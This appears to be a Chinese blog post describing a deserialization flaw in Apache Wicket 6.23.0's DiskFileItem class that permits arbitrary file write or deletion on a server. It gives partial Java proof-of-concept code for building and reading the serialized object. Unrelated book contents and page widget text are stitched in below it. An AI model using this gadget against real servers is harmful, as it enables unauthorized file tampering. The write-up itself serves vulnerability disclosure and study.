Apache Wicket 6.23.0 – Deserialization gadget




Apacge Wicket简介:

Wicket是一个Java 语言的Web开发框架,与Struts,WebWork,Tapestry   相类似。其特点在于对Html和代码进行了有效的分离(有利于程序员和美工的合作),基于规则的配置(减少了XML   等配置文件的使用),学习曲线较低(开发方式与C/S相似),更加易于调试(错误类型比较少,而且容易定位)。


摘要:

Apache Wichet6.23.0项目的反序列化漏洞,这个漏洞没有Common Collection library危害大但是找到它是非常有趣的。这个漏洞允许写入远程文件到服务器本地文件中或删除服务器上面的任意文件。这个漏洞跟CVE-2013-2186相似。Apacge Wichet开发者复制粘贴了 Common Upload组件中"DiskFileItem" 类。


要演示这种攻击,需要服务器反序列化这个对象(例如通过RMI端口),你需要设置在服务器可以写可读的位置(例如共享目录或Web服务器根目录下的目录)。


漏洞描述:

在Apache Wicket的项目的6.23.0版本的“DiskFileItem”类反序列化过程中允许任意的远程文件写入到服务器的本地文件。


首先攻击者序列化一个DiskFileItem对象

package com.serialise;

import org.apache.wicket.util.file.FileCleaner;
import org.apache.wicket.util.io.DeferredFileOutputStream;
import org.apache.wicket.util.upload.DiskFileItem;

import java.io.*;
import java.net.URI;

/**
* Created by H4ck0rInj on 2016/9/27.
*/
public class Test{
public static void main(String argv[]){
try {
String contentType = "UTF-8";
boolean isFormField = true;
String fileName = "test.txt";
int sizeThreshold = 4;
File repository = new File(new URI("file:///D:/HACK/"));
FileCleaner fileUploadCleaner = new FileCleaner();
DiskFileItem dfi =new DiskFileItem(fileName,contentType,isFormField,fileName,sizeThreshold,repository,fileUploadCleaner);

DeferredFileOutputStream os = (DeferredFileOutputStream) dfi.getOutputStream();
System.out.println(os.isThresholdExceeded());
byte[] data = dfi.get();
os.write(fileName.getBytes());
FileOutputStream fos = new FileOutputStream("D:\\fileitem.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(dfi);
}catch (Exception e) {

}
}
}

然后攻击者将修改序列化对象。要修改的是要在红圈的地方将被复制的内容和内容要被复制的目录。它们都是Java File对象,所以他们能够支持URI参数。


这个Poc我们修改了原始的path和respository变量的指向。

System.out.println("Start");
FileInputStream fis = new FileInputStream("D:\\fileitem.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
DiskFileItem nameFromDisk = (DiskFileItem)ois.readObject();
System.out.println("End");
fos.close();

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
Table of Contents Preface 1 Chapter 1: Validating and Converting User Input 7 Introduction 7 Performing form-level custom validation 7 Creating a custom validator 12 Composing multiple validators into a single reusable validator 18 Converting string inputs to objects 23 Chapter 2: Getting Down and Dirty with Forms and Form Components 33 Introduction 33 Creating linked selectboxes 34 Composing multiple form components into a single reusable component 39 Preventing multiple form submits 45 Protecting against spam with a CAPTCHA 55 Chapter 3: Making Forms Presentable 61 Introduction 61 Changing form component CSS class on validation errors 62 Using FeedbackPanel to output form component specific messages 65 Streamlining form component presentation using behaviors 67 Chapter 4: Taking your Application Abroad 75 Introduction 75 Storing module resource strings in package properties 76 Retrieving a localized string 80 Feeding dynamic localized strings to components using StringResourceModel 84 Using wicket:message to output localized markup 86 Overriding localized resources on a case by case basis 89 ii Table of Contents Chapter 5: Displaying Data Using DataTable 95 Introduction 95 Sorting 96 Filtering 100 Making cells clickable 106 Making rows selectable with checkboxes 110 Exporting data to CSV 120 Chapter 6: Enhancing your UI with Tabs and Borders 129 Introduction 129 Creating tabs with dynamic titles 130 Making a tabbed panel play nice with forms 136 Creating a client-side JavaScript tabbed panel 140 Using borders to decorate components 143 Creating a collapsible border 148 Chapter 7: Deeper into Ajax 157 Introduction 157 Adding Ajax validation to individual form components 158 Blocking until an Ajax request is complete 162 Providing Ajax feedback automatically 168 Chapter 8: Visualizing Data with Charts 177 Introduction 177 Charting with Open Flash Chart 178 Feeding chart data using a SharedResource 191 Responding to clic

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值